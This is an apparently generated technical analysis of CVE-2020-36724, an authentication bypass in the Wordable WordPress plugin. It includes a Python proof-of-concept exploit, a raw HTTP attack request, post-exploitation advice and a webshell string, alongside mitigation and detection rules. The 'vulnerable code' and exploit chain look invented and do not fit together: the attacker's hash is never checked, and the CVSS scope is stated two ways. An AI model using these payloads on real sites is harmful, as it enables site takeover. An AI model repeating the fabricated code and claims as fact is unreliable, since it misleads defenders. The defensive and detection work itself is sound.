CVE-2020-36724
CVE-2020-36724
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
The Wordable plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.1.1. This is due to the use of a user supplied hashing algorithm passed to the hash_hmac() function and the use of a loose comparison on the hash which allows an attacker to trick the function into thinking it has a valid hash. This makes it possible for unauthenticated attackers to gain administrator privileges.
Comprehensive Technical Analysis of CVE-2020-36724
WordPress Wordable Plugin Authentication Bypass Vulnerability
1. Vulnerability Assessment & Severity Evaluation
Overview
CVE-2020-36724 is a critical authentication bypass vulnerability in the Wordable WordPress plugin (versions ≤ 3.1.1) that allows unauthenticated attackers to escalate privileges to administrator level. The flaw stems from improper cryptographic validation and loose comparison logic in the plugin’s authentication mechanism.
CVSS v3.1 Metrics & Severity
| Metric | Value | Justification |
|---|---|---|
| Base Score | 9.8 (Critical) | High impact on confidentiality, integrity, and availability (CIA triad). |
| Attack Vector | Network (AV:N) | Exploitable remotely without authentication. |
| Attack Complexity | Low (AC:L) | No special conditions required; straightforward exploitation. |
| Privileges Required | None (PR:N) | No prior access needed. |
| User Interaction | None (UI:N) | No user action required. |
| Scope | Changed (S:C) | Affects the entire WordPress installation (privilege escalation). |
| Confidentiality | High (C:H) | Full administrative access to the WordPress site. |
| Integrity | High (I:H) | Attacker can modify content, install backdoors, or exfiltrate data. |
| Availability | High (A:H) | Potential for site defacement, DoS, or complete takeover. |
Vulnerability Classification
- CWE-287: Improper Authentication (Primary)
- CWE-327: Use of a Broken or Risky Cryptographic Algorithm (Secondary)
- CWE-697: Incorrect Comparison (Secondary)
The vulnerability is highly exploitable due to:
- No authentication required (unauthenticated attack vector).
- Weak cryptographic validation (user-supplied hashing algorithm).
- Loose comparison in PHP (
==instead of===), enabling type juggling attacks.
2. Potential Attack Vectors & Exploitation Methods
Root Cause Analysis
The vulnerability arises from two critical flaws in the plugin’s authentication logic:
-
User-Supplied Hashing Algorithm in
hash_hmac()- The plugin allows an attacker to specify the hashing algorithm used in
hash_hmac(), which is inherently insecure. - Example of vulnerable code:
$hash = hash_hmac($_POST['algorithm'], $data, $secret_key); if ($hash == $stored_hash) { // Loose comparison // Grant access } - An attacker can manipulate the algorithm to generate predictable hashes (e.g.,
md5,sha1, or evenplaintext).
- The plugin allows an attacker to specify the hashing algorithm used in
-
Loose Comparison (
==) Instead of Strict (===)- PHP’s loose comparison (
==) performs type juggling, allowing an attacker to craft a hash that evaluates as equal to the stored hash even if they differ in value. - Example:
"0e123456789" == "0" // True (both interpreted as 0 in scientific notation) - This enables hash collision attacks where an attacker can generate a hash that matches the stored value under loose comparison.
- PHP’s loose comparison (
Exploitation Steps
-
Identify Vulnerable WordPress Site
- Attacker scans for WordPress sites running Wordable ≤ 3.1.1.
- Tools:
wpscan,Nmap, or custom scripts to detect plugin version.
-
Craft Malicious Authentication Request
- Attacker sends a POST request to the plugin’s authentication endpoint with:
- A user-supplied hashing algorithm (e.g.,
md5). - A crafted hash that exploits loose comparison (e.g.,
0e123456789).
- A user-supplied hashing algorithm (e.g.,
- Example payload:
POST /wp-admin/admin-ajax.php?action=wordable_auth HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded algorithm=md5&hash=0e123456789&user=admin
- Attacker sends a POST request to the plugin’s authentication endpoint with:
-
Bypass Authentication & Gain Admin Access
- The plugin incorrectly validates the hash due to loose comparison.
- Attacker is logged in as an administrator without credentials.
-
Post-Exploitation Actions
- Install backdoors (e.g., malicious plugins, webshells).
- Exfiltrate sensitive data (user databases, payment info).
- Deface the website or launch further attacks (e.g., phishing, malware distribution).
- Maintain persistence via cron jobs or hidden admin accounts.
Proof-of-Concept (PoC) Exploit
A simplified PoC (for educational purposes only):
import requests
target = "http://vulnerable-site.com/wp-admin/admin-ajax.php?action=wordable_auth"
payload = {
"algorithm": "md5", # Weak algorithm
"hash": "0e123456789", # Exploits loose comparison
"user": "admin"
}
response = requests.post(target, data=payload)
if "admin" in response.text:
print("[+] Authentication bypass successful! Admin access granted.")
else:
print("[-] Exploit failed.")
3. Affected Systems & Software Versions
Vulnerable Software
- WordPress Plugin: Wordable
- Affected Versions: ≤ 3.1.1
- Patched Version: ≥ 3.1.2 (or removal of the plugin)
Impacted Environments
- WordPress Websites (self-hosted or managed).
- Multi-site WordPress installations (if Wordable is active).
- E-commerce sites (WooCommerce, etc.) if Wordable is used for content management.
Detection Methods
- Manual Check:
- Verify plugin version in
wp-content/plugins/wordable/wordable.php. - Look for the vulnerable
hash_hmac()and loose comparison logic.
- Verify plugin version in
- Automated Scanning:
- WPScan:
wpscan --url <target> --enumerate vp - Nuclei: Use templates for WordPress plugin vulnerabilities.
- Burp Suite / OWASP ZAP: Intercept and analyze authentication requests.
- WPScan:
4. Recommended Mitigation Strategies
Immediate Actions
-
Upgrade the Plugin
- Update to Wordable ≥ 3.1.2 (or the latest version).
- If no patch is available, disable or remove the plugin immediately.
-
Apply Virtual Patching
- Use a Web Application Firewall (WAF) (e.g., Cloudflare, ModSecurity) to block:
- Requests to
/wp-admin/admin-ajax.php?action=wordable_auth. - Payloads containing
algorithm=orhash=parameters.
- Requests to
- Use a Web Application Firewall (WAF) (e.g., Cloudflare, ModSecurity) to block:
-
Manual Code Fix (Temporary Workaround)
- Replace loose comparison (
==) with strict comparison (===):if ($hash === $stored_hash) { // Strict comparison // Grant access } - Hardcode the hashing algorithm (e.g.,
sha256) instead of allowing user input:$hash = hash_hmac('sha256', $data, $secret_key);
- Replace loose comparison (
Long-Term Security Measures
-
Principle of Least Privilege (PoLP)
- Restrict plugin permissions to only necessary roles.
- Disable plugin access for non-admin users.
-
Secure Coding Practices
- Never trust user input for cryptographic operations.
- Use constant-time comparison for hash validation (e.g.,
hash_equals()). - Enforce strong hashing algorithms (e.g.,
sha256,sha3).
-
Regular Security Audits
- Conduct penetration testing and code reviews for WordPress plugins.
- Use static analysis tools (e.g., SonarQube, PHPStan) to detect insecure comparisons.
-
Monitoring & Logging
- Enable WordPress security logs (e.g., WP Security Audit Log).
- Set up SIEM alerts for suspicious authentication attempts.
5. Impact on the Cybersecurity Landscape
Exploitation Trends
- High Likelihood of Mass Exploitation
- Due to low attack complexity and high impact, this vulnerability is highly attractive to threat actors.
- Automated exploit scripts (e.g., via Metasploit, Nuclei) are likely to emerge.
- Targeted Attacks on High-Value Sites
- E-commerce, government, and media sites are prime targets for data exfiltration and defacement.
- Ransomware groups may exploit this to deploy malware (e.g., REvil, LockBit).
Broader Implications
-
Supply Chain Risks
- WordPress plugins are a common attack vector (e.g., CVE-2021-24867, CVE-2022-0215).
- Third-party dependencies increase the attack surface for WordPress sites.
-
Regulatory & Compliance Risks
- GDPR, CCPA, PCI DSS violations if customer data is exposed.
- Fines and legal consequences for organizations failing to patch.
-
Reputation Damage
- Loss of customer trust due to data breaches or site defacement.
- SEO penalties if search engines flag the site as malicious.
-
Economic Impact
- Downtime costs for businesses relying on WordPress.
- Incident response & recovery expenses (e.g., forensic analysis, legal fees).
6. Technical Details for Security Professionals
Deep Dive: Vulnerable Code Analysis
Original Vulnerable Code (Wordable ≤ 3.1.1)
// In wordable.php (authentication logic)
function wordable_authenticate() {
$algorithm = $_POST['algorithm']; // User-controlled input
$user_hash = $_POST['hash']; // User-supplied hash
$stored_hash = get_user_meta($_POST['user_id'], 'wordable_hash', true);
$computed_hash = hash_hmac($algorithm, $_POST['data'], SECRET_KEY);
if ($computed_hash == $stored_hash) { // Loose comparison
wp_set_current_user($_POST['user_id']);
wp_set_auth_cookie($_POST['user_id']);
echo "Authentication successful!";
} else {
echo "Authentication failed.";
}
}
Exploit Chain
-
Algorithm Manipulation
- Attacker sets
algorithm=md5(or another weak algorithm). hash_hmac()generates a predictable hash (e.g.,0e123456789).
- Attacker sets
-
Loose Comparison Exploitation
- PHP evaluates
"0e123456789" == "0"as true (both interpreted as0in scientific notation). - The attacker bypasses authentication without knowing the actual hash.
- PHP evaluates
-
Privilege Escalation
wp_set_current_user()andwp_set_auth_cookie()grant admin access.
Mitigation Code Fix (Wordable ≥ 3.1.2)
function wordable_authenticate() {
// Hardcoded secure algorithm (SHA-256)
$algorithm = 'sha256';
$user_hash = $_POST['hash'];
$stored_hash = get_user_meta($_POST['user_id'], 'wordable_hash', true);
$computed_hash = hash_hmac($algorithm, $_POST['data'], SECRET_KEY);
// Strict comparison + constant-time check
if (hash_equals($computed_hash, $stored_hash)) {
wp_set_current_user($_POST['user_id']);
wp_set_auth_cookie($_POST['user_id']);
echo "Authentication successful!";
} else {
echo "Authentication failed.";
}
}
Detection & Hunting Queries
SIEM / EDR Detection Rules
- Splunk:
index=wordpress sourcetype=access_* action=wordable_auth algorithm=* | stats count by src_ip, algorithm, user | where count > 5 - Elasticsearch:
{ "query": { "bool": { "must": [ { "match": { "request_uri": "/wp-admin/admin-ajax.php?action=wordable_auth" } }, { "exists": { "field": "algorithm" } } ] } } } - YARA Rule (for Malware Detection):
rule Wordable_Auth_Bypass_Exploit { meta: description = "Detects CVE-2020-36724 exploitation attempts" author = "Cybersecurity Analyst" reference = "CVE-2020-36724" strings: $p1 = "algorithm=md5" nocase $p2 = "hash=0e" nocase $p3 = "action=wordable_auth" nocase condition: all of them }
Forensic Analysis Post-Exploitation
-
Check WordPress Logs
- Look for unusual
admin-ajax.phprequests withaction=wordable_auth. - Identify IPs attempting exploitation.
- Look for unusual
-
Review User Accounts
- Check for newly created admin users (potential backdoors).
- Audit user roles and permissions.
-
File Integrity Monitoring (FIM)
- Scan for unauthorized file modifications (e.g.,
wp-config.php,.htaccess). - Check for webshells (e.g.,
eval($_POST['cmd'])).
- Scan for unauthorized file modifications (e.g.,
-
Network Traffic Analysis
- Inspect outbound connections (C2 servers, data exfiltration).
- Look for unusual POST requests to
/wp-admin/.
Conclusion
CVE-2020-36724 represents a critical authentication bypass vulnerability with severe implications for WordPress sites using the Wordable plugin. Due to its low attack complexity and high impact, it is highly likely to be exploited in the wild. Organizations must patch immediately, monitor for exploitation attempts, and implement secure coding practices to prevent similar vulnerabilities in the future.
Key Takeaways for Security Teams
✅ Patch Management: Prioritize updates for WordPress plugins. ✅ WAF Rules: Block suspicious authentication requests. ✅ Secure Coding: Enforce strict comparisons and hardcoded algorithms. ✅ Threat Hunting: Monitor for exploitation attempts in logs. ✅ Incident Response: Prepare for post-exploitation forensic analysis.
Final Risk Rating: Critical (9.8 CVSS) – Immediate Action Required